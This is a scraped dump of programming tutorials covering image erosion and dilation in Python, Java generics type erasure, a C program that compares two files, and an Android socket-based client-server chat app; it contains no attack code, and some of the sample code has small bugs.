"text": "ites = [2,4,6,8,10,12,14,16,18,20]fig, ax = plt.subplots(2, 5, figsize=(17, 5))for n, ax in enumerate(ax.flatten()): ax.set_title(f'Horizontal Iterations : {ites[n]}', fontsize = 12) new_circle = multi_erosion(circ_image, h_line, ites[n]) ax.imshow(new_circle, cmap = 'gray'); ax.axis('off')fig.tight_layout()fig, ax = plt.subplots(2, 5, figsize=(17, 5))for n, ax in enumerate(ax.flatten()): ax.set_title(f'Vertical Iterationss : {ites[n]}', fontsize = 12) new_circle = multi_erosion(circ_image, v_line, ites[n]) ax.imshow(new_circle, cmap = 'gray'); ax.axis('off')fig.tight_layout()"
},
{
"code": null,
"e": 4064,
"s": 3820,
"text": "As we can see, the horizontal and vertical erosions affected the image in very different ways. Using the horizontal kernel gives us a slimmer circle, while using the vertical kernel gives us a flatter circle. For some of you this may seem odd."
},
{
"code": null,
"e": 4144,
"s": 4064,
"text": "“I am using a vertical kernel, why is my circle getting flatter?”. You may ask."
},
{
"code": null,
"e": 4325,
"s": 4144,
"text": "Remember that we are eroding the image. It is looking for vertical and horizontal lines and slowly chipping away at them. This point will be made clearer when we do image dilation."
},
{
"code": null,
"e": 4447,
"s": 4325,
"text": "The below function will allow you to set the image you want to dilate, the dilation kernel, and the number of iterations."
},
{
"code": null,
"e": 4580,
"s": 4447,
"text": "def multi_dilation(image, kernel, iterations): for i in range(iterations): image = dilation(image, kernel) return image"
},
{
"code": null,
"e": 4669,
"s": 4580,
"text": "To illustrate this function, let us once again dilate the circle and see the difference."
},
{
"code": null,
"e": 5290,
"s": 4669,
"text": "dilated_circle = multi_dilation(circ_image, cross, 1)linecolor = 'red'fig, ax = plt.subplots(1, 2, figsize=(12, 5))ax[0].imshow(circ_image, cmap = 'gray');ax[0].set_title('Original', fontsize = 19)ax[0].axvline(x = 25, color = linecolor)ax[0].axvline(x = 75, color = linecolor)ax[0].axhline(y = 25, color = linecolor)ax[0].axhline(y = 75, color = linecolor)ax[1].imshow(dilated_circle, cmap = 'gray');ax[1].set_title('Dilated', fontsize = 19)ax[1].axvline(x = 25, color = linecolor)ax[1].axvline(x = 75, color = linecolor)ax[1].axhline(y = 25, color = linecolor)ax[1].axhline(y = 75, color = linecolor)fig.tight_layout()"
},
{
"code": null,
"e": 5460,
"s": 5290,
"text": "We can clearly see that the circle now crosses over the red line, a clear indication that it has grown. Let us now run an iteration of horizontal and vertical dilations."
},
{
"code": null,
"e": 6087,
"s": 5460,
"text": "ites = [2,4,6,8,10,12,14,16,18,20]fig, ax = plt.subplots(2, 5, figsize=(17, 5))for n, ax in enumerate(ax.flatten()): ax.set_title(f'Horizontal Iterations : {ites[n]}', fontsize = 12) new_circle = multi_dilation(circ_image, h_line, ites[n]) ax.imshow(new_circle, cmap = 'gray'); ax.axis('off')fig.tight_layout()fig, ax = plt.subplots(2, 5, figsize=(17, 5))for n, ax in enumerate(ax.flatten()): ax.set_title(f'Vertical Iterationss : {ites[n]}', fontsize = 12) new_circle = multi_dilation(circ_image, v_line, ites[n]) ax.imshow(new_circle, cmap = 'gray'); ax.axis('off')fig.tight_layout()"
},
{
"code": null,
"e": 6217,
"s": 6087,
"text": "We now see very clearly that the horizontal dilation increases the images width while the vertical dilation increases its height."
},
{
"code": null,
"e": 6402,
"s": 6217,
"text": "“But how can you apply this?”. You may ask. The key is in understanding how the kernel work on a fundamental level. To better appreciate this let us look at a relatively complex image."
},
{
"code": null,
"e": 6468,
"s": 6402,
"text": "complex_image = imread('complex_image.png')imshow(complex_image);"
},
{
"code": null,
"e": 6646,
"s": 6468,
"text": "In the image above we have a mixture of horizontal lines, vertical lines, and circles. We can view each of these shapes in isolation by using the dilation and erosion functions."
},
{
"code": null,
"e": 7254,
"s": 6646,
"text": "To isolate for circles we can first erode the lines, we can confidently do this as the circles are much more rotund than the lines and can therefore can “survive” more erosion iterations. I arrived at the rest by playing around with the iterations. One thing to remember however is to dilate your image at the end. I dilated the image by the same kernels and iterations as I eroded them with. That should return the circle to approximately the same size. I know that technically I could have nested all these functions into one line, but for pedagogical reasons I chose to break them up into multiple lines."
},
{
"code": null,
"e": 7716,
"s": 7254,
"text": "step_1 = multi_erosion(complex_image, h_line,3)step_2 = multi_erosion(step_1, v_line,3)step_3 = multi_dilation(step_2, h_line,3)step_4 = multi_dilation(step_3, v_line,3)steps = [step_1, step_2, step_3, step_4]names = ['Step 1', 'Step 2', 'Step 3', 'Step 4']fig, ax = plt.subplots(2, 2, figsize=(10, 10))for n, ax in enumerate(ax.flatten()): ax.set_title(f'{names[n]}', fontsize = 22) ax.imshow(steps[n], cmap = 'gray'); ax.axis('off')fig.tight_layout()"
},
{
"code": null,
"e": 7780,
"s": 7716,
"text": "Likewise, the below codes will filter for the horizontal lines."
},
{
"code": null,
"e": 8187,
"s": 7780,
"text": "step_1 = multi_erosion(complex_image, cross, 20)step_2 = multi_dilation(step_1, h_line, 20)step_3 = multi_dilation(step_2, v_line,2)steps = [step_1, step_2, step_3]names = ['Step 1', 'Step 2', 'Step 3']fig, ax = plt.subplots(1, 3, figsize=(10, 10))for n, ax in enumerate(ax.flatten()): ax.set_title(f'{names[n]}', fontsize = 22) ax.imshow(steps[n], cmap = 'gray'); ax.axis('off')fig.tight_layout()"
},
{
"code": null,
"e": 8393,
"s": 8187,
"text": "We see that the number of steps taken and number of iterations depend entirely the image and what we are trying to filter. To filter for the the vertical lines, I found it necessary to create a new kernel."
},
{
"code": null,
"e": 8913,
"s": 8393,
"text": "long_v_line = np.array([[0,1,0], [0,1,0], [0,1,0], [0,1,0], [0,1,0]])step_1 = multi_erosion(complex_image, long_v_line, 10)step_2 = multi_dilation(step_1 ,long_v_line, 10)steps = [step_1, step_2]names = ['Step 1', 'Step 2']fig, ax = plt.subplots(1, 2, figsize=(10, 10))for n, ax in enumerate(ax.flatten()): ax.set_title(f'{names[n]}', fontsize = 22) ax.imshow(steps[n], cmap = 'gray'); ax.axis('off')fig.tight_layout()"
},
{
"code": null,
"e": 9233,
"s": 8913,
"text": "Notice how this filtering only took two iterations. This was because I defined the kernel to have features that only the vertical lines had. This insight is crucial. Do not constrain yourself to the kernels you find online or in your textbook. Some images can be easily filtered if you define specific kernels for them."
},
{
"code": null,
"e": 9247,
"s": 9233,
"text": "In Conclusion"
}
] |
Java Generics - Unbounded Types Erasure
|
Java Compiler replaces type parameters in generic type with Object if unbounded type parameters are used.
package com.tutorialspoint;
public class GenericsTester {
public static void main(String[] args) {
Box<Integer> integerBox = new Box<Integer>();
Box<String> stringBox = new Box<String>();
integerBox.add(new Integer(10));
stringBox.add(new String("Hello World"));
System.out.printf("Integer Value :%d\n", integerBox.get());
System.out.printf("String Value :%s\n", stringBox.get());
}
}
class Box<T> {
private T t;
public void add(T t) {
this.t = t;
}
public T get() {
return t;
}
}
In this case, java compiler will replace T with Object class and after type erasure,compiler will generate bytecode for the following code.
package com.tutorialspoint;
public class GenericsTester {
public static void main(String[] args) {
Box integerBox = new Box();
Box stringBox = new Box();
integerBox.add(new Integer(10));
stringBox.add(new String("Hello World"));
System.out.printf("Integer Value :%d\n", integerBox.get());
System.out.printf("String Value :%s\n", stringBox.get());
}
}
class Box {
private Object t;
public void add(Object t) {
this.t = t;
}
public Object get() {
return t;
}
}
In both case, result is same −
Integer Value :10
String Value :Hello World
16 Lectures
2 hours
Malhar Lathkar
19 Lectures
5 hours
Malhar Lathkar
25 Lectures
2.5 hours
Anadi Sharma
126 Lectures
7 hours
Tushar Kale
119 Lectures
17.5 hours
Monica Mittal
76 Lectures
7 hours
Arnab Chakraborty
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 2746,
"s": 2640,
"text": "Java Compiler replaces type parameters in generic type with Object if unbounded type parameters are used."
},
{
"code": null,
"e": 3305,
"s": 2746,
"text": "package com.tutorialspoint;\n\npublic class GenericsTester {\n public static void main(String[] args) {\n Box<Integer> integerBox = new Box<Integer>();\n Box<String> stringBox = new Box<String>();\n\n integerBox.add(new Integer(10));\n stringBox.add(new String(\"Hello World\"));\n\n System.out.printf(\"Integer Value :%d\\n\", integerBox.get());\n System.out.printf(\"String Value :%s\\n\", stringBox.get());\n }\n}\n\nclass Box<T> {\n private T t;\n\n public void add(T t) {\n this.t = t;\n }\n\n public T get() {\n return t;\n } \n}"
},
{
"code": null,
"e": 3445,
"s": 3305,
"text": "In this case, java compiler will replace T with Object class and after type erasure,compiler will generate bytecode for the following code."
},
{
"code": null,
"e": 3982,
"s": 3445,
"text": "package com.tutorialspoint;\n\npublic class GenericsTester {\n public static void main(String[] args) {\n Box integerBox = new Box();\n Box stringBox = new Box();\n\n integerBox.add(new Integer(10));\n stringBox.add(new String(\"Hello World\"));\n\n System.out.printf(\"Integer Value :%d\\n\", integerBox.get());\n System.out.printf(\"String Value :%s\\n\", stringBox.get());\n }\n}\n\nclass Box {\n private Object t;\n\n public void add(Object t) {\n this.t = t;\n }\n\n public Object get() {\n return t;\n } \n}"
},
{
"code": null,
"e": 4013,
"s": 3982,
"text": "In both case, result is same −"
},
{
"code": null,
"e": 4058,
"s": 4013,
"text": "Integer Value :10\nString Value :Hello World\n"
},
{
"code": null,
"e": 4091,
"s": 4058,
"text": "\n 16 Lectures \n 2 hours \n"
},
{
"code": null,
"e": 4107,
"s": 4091,
"text": " Malhar Lathkar"
},
{
"code": null,
"e": 4140,
"s": 4107,
"text": "\n 19 Lectures \n 5 hours \n"
},
{
"code": null,
"e": 4156,
"s": 4140,
"text": " Malhar Lathkar"
},
{
"code": null,
"e": 4191,
"s": 4156,
"text": "\n 25 Lectures \n 2.5 hours \n"
},
{
"code": null,
"e": 4205,
"s": 4191,
"text": " Anadi Sharma"
},
{
"code": null,
"e": 4239,
"s": 4205,
"text": "\n 126 Lectures \n 7 hours \n"
},
{
"code": null,
"e": 4253,
"s": 4239,
"text": " Tushar Kale"
},
{
"code": null,
"e": 4290,
"s": 4253,
"text": "\n 119 Lectures \n 17.5 hours \n"
},
{
"code": null,
"e": 4305,
"s": 4290,
"text": " Monica Mittal"
},
{
"code": null,
"e": 4338,
"s": 4305,
"text": "\n 76 Lectures \n 7 hours \n"
},
{
"code": null,
"e": 4357,
"s": 4338,
"text": " Arnab Chakraborty"
},
{
"code": null,
"e": 4364,
"s": 4357,
"text": " Print"
},
{
"code": null,
"e": 4375,
"s": 4364,
"text": " Add Notes"
}
] |
C program to compare two files and report mismatches
|
In the C programming language, the programmer can excess the files and read and write content in them.
A file is a simple memory block that can store information, here we are concerned with text only.
In this program, we will compare two files and report mismatches that occur. These files are almost identical but may have some characters that are different. Also, the program will return the line and position of the file at which the first mismatch occurs.
Step 1: Open both the file with pointer at the starting.
Step 2: Fetch data from file as characters one by one.
Step 3: Compare the characters. If the characters are different then return the line and position of the error character.
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
void compareFiles(FILE *file1, FILE *file2){
char ch1 = getc(file1);
char ch2 = getc(file2);
int error = 0, pos = 0, line = 1;
while (ch1 != EOF && ch2 != EOF){
pos++;
if (ch1 == '\n' && ch2 == '\n'){
line++;
pos = 0;
}
if (ch1 != ch2){
error++;
printf("Line Number : %d \tError"
" Position : %d \n", line, pos);
}
ch1 = getc(fp1);
ch2 = getc(fp2);
}
printf("Total Errors : %d\t", error);
}
int main(){
FILE *file1 = fopen("file1.txt", "r");
FILE *file2 = fopen("file2.txt", "r");
if (file1 == NULL || file2 == NULL){
printf("Error : Files not open");
exit(0);
}
compareFiles(file1, file2);
fclose(file1);
fclose(file2);
return 0;
}
// content of the files
File1 : Hello!
Welcome to tutorials Point
File2: Hello!
Welcome to turoials point
Line number: 2 Error position: 15
Total error : 1
|
[
{
"code": null,
"e": 1165,
"s": 1062,
"text": "In the C programming language, the programmer can excess the files and read and write content in them."
},
{
"code": null,
"e": 1263,
"s": 1165,
"text": "A file is a simple memory block that can store information, here we are concerned with text only."
},
{
"code": null,
"e": 1522,
"s": 1263,
"text": "In this program, we will compare two files and report mismatches that occur. These files are almost identical but may have some characters that are different. Also, the program will return the line and position of the file at which the first mismatch occurs."
},
{
"code": null,
"e": 1756,
"s": 1522,
"text": "Step 1: Open both the file with pointer at the starting.\nStep 2: Fetch data from file as characters one by one.\nStep 3: Compare the characters. If the characters are different then return the line and position of the error character."
},
{
"code": null,
"e": 2586,
"s": 1756,
"text": "#include<stdio.h>\n#include<string.h>\n#include<stdlib.h>\nvoid compareFiles(FILE *file1, FILE *file2){\n char ch1 = getc(file1);\n char ch2 = getc(file2);\n int error = 0, pos = 0, line = 1;\n while (ch1 != EOF && ch2 != EOF){\n pos++;\n if (ch1 == '\\n' && ch2 == '\\n'){\n line++;\n pos = 0;\n }\n if (ch1 != ch2){\n error++;\n printf(\"Line Number : %d \\tError\"\n \" Position : %d \\n\", line, pos);\n }\n ch1 = getc(fp1);\n ch2 = getc(fp2);\n }\n printf(\"Total Errors : %d\\t\", error);\n}\nint main(){\n FILE *file1 = fopen(\"file1.txt\", \"r\");\n FILE *file2 = fopen(\"file2.txt\", \"r\");\n if (file1 == NULL || file2 == NULL){\n printf(\"Error : Files not open\");\n exit(0);\n }\n compareFiles(file1, file2);\n fclose(file1);\n fclose(file2);\n return 0;\n}"
},
{
"code": null,
"e": 2742,
"s": 2586,
"text": "// content of the files\nFile1 : Hello!\nWelcome to tutorials Point\nFile2: Hello!\nWelcome to turoials point\nLine number: 2 Error position: 15\nTotal error : 1"
}
] |
Client-Server Programming in Android
|
This example demonstrate about Client-Server Programming in Android
Need Server and Client Project
Step 1 − Create a new project in Android Studio, go to File ⇒ New Project and fill all required details to create a new project.
Step 2 − Add the following code to res/layout/activity_main.xml.
<?xml version = "1.0" encoding = "utf-8"?>
<RelativeLayout xmlns:android = "http://schemas.android.com/apk/res/android"
xmlns:tools = "http://schemas.android.com/tools"
android:layout_width = "match_parent"
android:layout_height = "match_parent"
android:layout_margin = "16dp"
tools:context = ".MainActivity">
<TextView
android:id = "@+id/tvIP"
android:layout_width = "wrap_content"
android:layout_height = "wrap_content"
android:textAppearance = "@style/Base.TextAppearance.AppCompat.Medium" />
<TextView
android:id = "@+id/tvPort"
android:layout_width = "wrap_content"
android:layout_height = "wrap_content"
android:layout_below = "@+id/tvIP"
android:textAppearance = "@style/Base.TextAppearance.AppCompat.Medium" />
<TextView
android:id = "@+id/tvConnectionStatus"
android:layout_width = "match_parent"
android:layout_height = "wrap_content"
android:layout_below = "@+id/tvPort"
android:textAppearance = "@style/Base.TextAppearance.AppCompat.Medium" />
<TextView
android:id = "@+id/tvMessages"
android:layout_width = "match_parent"
android:layout_height = "wrap_content"
android:layout_above = "@+id/etMessage"
android:layout_below = "@+id/tvConnectionStatus"
android:inputType = "textMultiLine"
android:textAppearance = "@style/Base.TextAppearance.AppCompat.Medium" />
<EditText
android:id = "@+id/etMessage"
android:layout_width = "match_parent"
android:layout_height = "wrap_content"
android:layout_above = "@+id/btnSend"
android:hint = "Enter Message"
android:inputType = "text" />
<Button
android:id = "@+id/btnSend"
android:layout_width = "match_parent"
android:layout_height = "wrap_content"
android:layout_alignParentBottom = "true"
android:text = "SEND" />
</RelativeLayout>
Step 3 − Add the following code to src/MainActivity.java
package com.server.myapplication.server;
import android.annotation.SuppressLint;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.UnknownHostException;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
@SuppressLint("SetTextI18n")
public class MainActivity extends AppCompatActivity {
ServerSocket serverSocket;
Thread Thread1 = null;
TextView tvIP, tvPort;
TextView tvMessages;
EditText etMessage;
Button btnSend;
public static String SERVER_IP = "";
public static final int SERVER_PORT = 8080;
String message;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
tvIP = findViewById(R.id.tvIP);
tvPort = findViewById(R.id.tvPort);
tvMessages = findViewById(R.id.tvMessages);
etMessage = findViewById(R.id.etMessage);
btnSend = findViewById(R.id.btnSend);
try {
SERVER_IP = getLocalIpAddress();
} catch (UnknownHostException e) {
e.printStackTrace();
}
Thread1 = new Thread(new Thread1());
Thread1.start();
btnSend.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
message = etMessage.getText().toString().trim();
if (!message.isEmpty()) {
new Thread(new Thread3(message)).start();
}
}
});
}
private String getLocalIpAddress() throws UnknownHostException {
WifiManager wifiManager = (WifiManager) getApplicationContext().getSystemService(WIFI_SERVICE);
assert wifiManager ! = null;
WifiInfo wifiInfo = wifiManager.getConnectionInfo();
int ipInt = wifiInfo.getIpAddress();
return InetAddress.getByAddress(ByteBuffer.allocate(4).order(ByteOrder.LITTLE_ENDIAN).putInt(ipInt).array()).getHostAddress();
}
private PrintWriter output;
private BufferedReader input;
class Thread1 implements Runnable {
@Override
public void run() {
Socket socket;
try {
serverSocket = new ServerSocket(SERVER_PORT);
runOnUiThread(new Runnable() {
@Override
public void run() {
tvMessages.setText("Not connected");
tvIP.setText("IP: " + SERVER_IP);
tvPort.setText("Port: " + String.valueOf(SERVER_PORT));
}
});
try {
socket = serverSocket.accept();
output = new PrintWriter(socket.getOutputStream());
input = new BufferedReader(new InputStreamReader(socket.getInputStream()));
runOnUiThread(new Runnable() {
@Override
public void run() {
tvMessages.setText("Connected\n");
}
});
new Thread(new Thread2()).start();
} catch (IOException e) {
e.printStackTrace();
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
private class Thread2 implements Runnable {
@Override
public void run() {
while (true) {
try {
final String message = input.readLine();
if (message ! = null) {
runOnUiThread(new Runnable() {
@Override
public void run() {
tvMessages.append("client:" + message + "\n");
}
});
} else {
Thread1 = new Thread(new Thread1());
Thread1.start();
return;
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
class Thread3 implements Runnable {
private String message;
Thread3(String message) {
this.message = message;
}
@Override
public void run() {
output.write(message);
output.flush();
runOnUiThread(new Runnable() {
@Override
public void run() {
tvMessages.append("server: " + message + "\n");
etMessage.setText("");
}
});
}
}
}
Step 4 − Add the following code to androidManifest.xml
<?xml version = "1.0" encoding = "utf-8"?>
<manifest xmlns:android = "http://schemas.android.com/apk/res/android"
package = "com.example.myapplication">
<uses-permission android:name = "android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name = "android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name = "android.permission.INTERNET"/>
<application
android:allowBackup = "true"
android:icon = "@mipmap/ic_launcher"
android:label = "@string/app_name"
android:roundIcon = "@mipmap/ic_launcher_round"
android:supportsRtl = "true"
android:theme = "@style/AppTheme">
<activity android:name = ".MainActivity"
android:label = "Server">
<intent-filter>
<action android:name = "android.intent.action.MAIN" />
<category android:name = "android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
Step 1 − Create a new project in Android Studio, go to File ⇒ New Project and fill all required details to create a new project.
Step 2 − Add the following code to res/layout/activity_main.xml.
<?xml version = "1.0" encoding = "utf-8"?>
<RelativeLayout xmlns:android = "http://schemas.android.com/apk/res/android"
xmlns:tools = "http://schemas.android.com/tools"
android:layout_width = "match_parent"
android:layout_height = "match_parent"
android:layout_margin = "16dp"
tools:context = ".MainActivity">
<EditText
android:id = "@+id/etIP"
android:layout_width = "match_parent"
android:layout_height = "wrap_content"
android:hint = "IP-Address"
android:inputType = "text" />
<EditText
android:id = "@+id/etPort"
android:layout_width = "match_parent"
android:layout_height = "wrap_content"
android:layout_below = "@+id/etIP"
android:hint = "Port No"
android:inputType = "number" />
<Button
android:id = "@+id/btnConnect"
android:layout_width = "match_parent"
android:layout_height = "wrap_content"
android:layout_below = "@+id/etPort"
android:layout_gravity = "center"
android:layout_marginTop = "16dp"
android:text = "Connect To Server" />
<TextView
android:id = "@+id/tvMessages"
android:layout_width = "match_parent"
android:layout_height = "wrap_content"
android:layout_above = "@+id/etMessage"
android:layout_below = "@+id/btnConnect"
android:inputType = "textMultiLine"
android:textAppearance = "@style/Base.TextAppearance.AppCompat.Medium" />
<EditText
android:id = "@+id/etMessage"
android:layout_width = "match_parent"
android:layout_height = "wrap_content"
android:layout_above = "@+id/btnSend"
android:hint = "Enter Message"
android:inputType = "text" />
<Button
android:id = "@+id/btnSend"
android:layout_width = "match_parent"
android:layout_height = "wrap_content"
android:layout_alignParentBottom = "true"
android:text = "SEND" />
</RelativeLayout>
Step 3 − Add the following code to res/layout/MainActivity.java.
package com.client.myapplication.client;
import android.annotation.SuppressLint;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.Socket;
@SuppressLint("SetTextI18n")
public class MainActivity extends AppCompatActivity {
Thread Thread1 = null;
EditText etIP, etPort;
TextView tvMessages;
EditText etMessage;
Button btnSend;
String SERVER_IP;
int SERVER_PORT;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
etIP = findViewById(R.id.etIP);
etPort = findViewById(R.id.etPort);
tvMessages = findViewById(R.id.tvMessages);
etMessage = findViewById(R.id.etMessage);
btnSend = findViewById(R.id.btnSend);
Button btnConnect = findViewById(R.id.btnConnect);
btnConnect.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
tvMessages.setText("");
SERVER_IP = etIP.getText().toString().trim();
SERVER_PORT = Integer.parseInt(etPort.getText().toString().trim());
Thread1 = new Thread(new Thread1());
Thread1.start();
}
});
btnSend.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
String message = etMessage.getText().toString().trim();
if (!message.isEmpty()) {
new Thread(new Thread3(message)).start();
}
}
});
}
private PrintWriter output;
private BufferedReader input;
class Thread1 implements Runnable {
@Override
public void run() {
Socket socket;
try {
socket = new Socket(SERVER_IP, SERVER_PORT);
output = new PrintWriter(socket.getOutputStream());
input = new BufferedReader(new InputStreamReader(socket.getInputStream()));
runOnUiThread(new Runnable() {
@Override
public void run() {
tvMessages.setText("Connected\n");
}
});
new Thread(new Thread2()).start();
} catch (IOException e) {
e.printStackTrace();
}
}
}
class Thread2 implements Runnable {
@Override
public void run() {
while (true) {
try {
final String message = input.readLine();
if (message ! = null) {
runOnUiThread(new Runnable() {
@Override
public void run() {
tvMessages.append("server: " + message + "\n");
}
});
} else {
Thread1 = new Thread(new Thread1());
Thread1.start();
return;
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
class Thread3 implements Runnable {
private String message;
Thread3(String message) {
this.message = message;
}
@Override
public void run() {
output.write(message);
output.flush();
runOnUiThread(new Runnable() {
@Override
public void run() {
tvMessages.append("client: " + message + "\n");
etMessage.setText("");
}
});
}
}
}
Step 4 − Add the following code to androidManifest.xml
<?xml version = "1.0" encoding = "utf-8"?>
<manifest xmlns:android = "http://schemas.android.com/apk/res/android"
package = "com.client.myapplication.client">
<uses-permission android:name = "android.permission.INTERNET" />
<uses-permission android:name = "android.permission.ACCESS_NETWORK_STATE" />
<application
android:allowBackup = "true"
android:icon = "@mipmap/ic_launcher"
android:label = "@string/app_name"
android:roundIcon = "@mipmap/ic_launcher_round"
android:supportsRtl = "true"
android:theme = "@style/AppTheme">
<activity
android:name = "com.client.myapplication.client.MainActivity"
android:label = "Client">
<intent-filter>
<action android:name = "android.intent.action.MAIN" />
<category android:name = "android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
Let's try to run your both server and client application. I assume you have connected your actual Android Mobile device with your computer. To run the app from android studio, open one of your project's activity files and click Run icon from the toolbar. Select your mobile device as an option and then check your mobile device which will display your default screen –
Click here to download the project code
|
[
{
"code": null,
"e": 1130,
"s": 1062,
"text": "This example demonstrate about Client-Server Programming in Android"
},
{
"code": null,
"e": 1161,
"s": 1130,
"text": "Need Server and Client Project"
},
{
"code": null,
"e": 1290,
"s": 1161,
"text": "Step 1 − Create a new project in Android Studio, go to File ⇒ New Project and fill all required details to create a new project."
},
{
"code": null,
"e": 1355,
"s": 1290,
"text": "Step 2 − Add the following code to res/layout/activity_main.xml."
},
{
"code": null,
"e": 3267,
"s": 1355,
"text": "<?xml version = \"1.0\" encoding = \"utf-8\"?>\n<RelativeLayout xmlns:android = \"http://schemas.android.com/apk/res/android\"\n xmlns:tools = \"http://schemas.android.com/tools\"\n android:layout_width = \"match_parent\"\n android:layout_height = \"match_parent\"\n android:layout_margin = \"16dp\"\n tools:context = \".MainActivity\">\n <TextView\n android:id = \"@+id/tvIP\"\n android:layout_width = \"wrap_content\"\n android:layout_height = \"wrap_content\"\n android:textAppearance = \"@style/Base.TextAppearance.AppCompat.Medium\" />\n <TextView\n android:id = \"@+id/tvPort\"\n android:layout_width = \"wrap_content\"\n android:layout_height = \"wrap_content\"\n android:layout_below = \"@+id/tvIP\"\n android:textAppearance = \"@style/Base.TextAppearance.AppCompat.Medium\" />\n <TextView\n android:id = \"@+id/tvConnectionStatus\"\n android:layout_width = \"match_parent\"\n android:layout_height = \"wrap_content\"\n android:layout_below = \"@+id/tvPort\"\n android:textAppearance = \"@style/Base.TextAppearance.AppCompat.Medium\" />\n <TextView\n android:id = \"@+id/tvMessages\"\n android:layout_width = \"match_parent\"\n android:layout_height = \"wrap_content\"\n android:layout_above = \"@+id/etMessage\"\n android:layout_below = \"@+id/tvConnectionStatus\"\n android:inputType = \"textMultiLine\"\n android:textAppearance = \"@style/Base.TextAppearance.AppCompat.Medium\" />\n <EditText\n android:id = \"@+id/etMessage\"\n android:layout_width = \"match_parent\"\n android:layout_height = \"wrap_content\"\n android:layout_above = \"@+id/btnSend\"\n android:hint = \"Enter Message\"\n android:inputType = \"text\" />\n <Button\n android:id = \"@+id/btnSend\"\n android:layout_width = \"match_parent\"\n android:layout_height = \"wrap_content\"\n android:layout_alignParentBottom = \"true\"\n android:text = \"SEND\" />\n</RelativeLayout>"
},
{
"code": null,
"e": 3324,
"s": 3267,
"text": "Step 3 − Add the following code to src/MainActivity.java"
},
{
"code": null,
"e": 8074,
"s": 3324,
"text": "package com.server.myapplication.server;\nimport android.annotation.SuppressLint;\nimport android.net.wifi.WifiInfo;\nimport android.net.wifi.WifiManager;\nimport android.os.Bundle;\nimport android.support.v7.app.AppCompatActivity;\nimport android.view.View;\nimport android.widget.Button;\nimport android.widget.EditText;\nimport android.widget.TextView;\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.io.PrintWriter;\nimport java.net.InetAddress;\nimport java.net.ServerSocket;\nimport java.net.Socket;\nimport java.net.UnknownHostException;\nimport java.nio.ByteBuffer;\nimport java.nio.ByteOrder;\n\n@SuppressLint(\"SetTextI18n\")\npublic class MainActivity extends AppCompatActivity {\n ServerSocket serverSocket;\n Thread Thread1 = null;\n TextView tvIP, tvPort;\n TextView tvMessages;\n EditText etMessage;\n Button btnSend;\n public static String SERVER_IP = \"\";\n public static final int SERVER_PORT = 8080;\n String message;\n @Override\n protected void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n setContentView(R.layout.activity_main);\n tvIP = findViewById(R.id.tvIP);\n tvPort = findViewById(R.id.tvPort);\n tvMessages = findViewById(R.id.tvMessages);\n etMessage = findViewById(R.id.etMessage);\n btnSend = findViewById(R.id.btnSend);\n try {\n SERVER_IP = getLocalIpAddress();\n } catch (UnknownHostException e) {\n e.printStackTrace();\n }\n Thread1 = new Thread(new Thread1());\n Thread1.start();\n btnSend.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n message = etMessage.getText().toString().trim();\n if (!message.isEmpty()) {\n new Thread(new Thread3(message)).start();\n }\n }\n });\n }\n private String getLocalIpAddress() throws UnknownHostException {\n WifiManager wifiManager = (WifiManager) getApplicationContext().getSystemService(WIFI_SERVICE);\n assert wifiManager ! = null;\n WifiInfo wifiInfo = wifiManager.getConnectionInfo();\n int ipInt = wifiInfo.getIpAddress();\n return InetAddress.getByAddress(ByteBuffer.allocate(4).order(ByteOrder.LITTLE_ENDIAN).putInt(ipInt).array()).getHostAddress();\n }\n private PrintWriter output;\n private BufferedReader input;\n class Thread1 implements Runnable {\n @Override\n public void run() {\n Socket socket;\n try {\n serverSocket = new ServerSocket(SERVER_PORT);\n runOnUiThread(new Runnable() {\n @Override\n public void run() {\n tvMessages.setText(\"Not connected\");\n tvIP.setText(\"IP: \" + SERVER_IP);\n tvPort.setText(\"Port: \" + String.valueOf(SERVER_PORT));\n }\n });\n try {\n socket = serverSocket.accept();\n output = new PrintWriter(socket.getOutputStream());\n input = new BufferedReader(new InputStreamReader(socket.getInputStream()));\n runOnUiThread(new Runnable() {\n @Override\n public void run() {\n tvMessages.setText(\"Connected\\n\");\n }\n });\n new Thread(new Thread2()).start();\n } catch (IOException e) {\n e.printStackTrace();\n }\n } catch (IOException e) {\n e.printStackTrace();\n }\n }\n }\n private class Thread2 implements Runnable {\n @Override\n public void run() {\n while (true) {\n try {\n final String message = input.readLine();\n if (message ! = null) {\n runOnUiThread(new Runnable() {\n @Override\n public void run() {\n tvMessages.append(\"client:\" + message + \"\\n\");\n }\n });\n } else {\n Thread1 = new Thread(new Thread1());\n Thread1.start();\n return;\n }\n } catch (IOException e) {\n e.printStackTrace();\n }\n }\n }\n }\n class Thread3 implements Runnable {\n private String message;\n Thread3(String message) {\n this.message = message;\n }\n @Override\n public void run() {\n output.write(message);\n output.flush();\n runOnUiThread(new Runnable() {\n @Override\n public void run() {\n tvMessages.append(\"server: 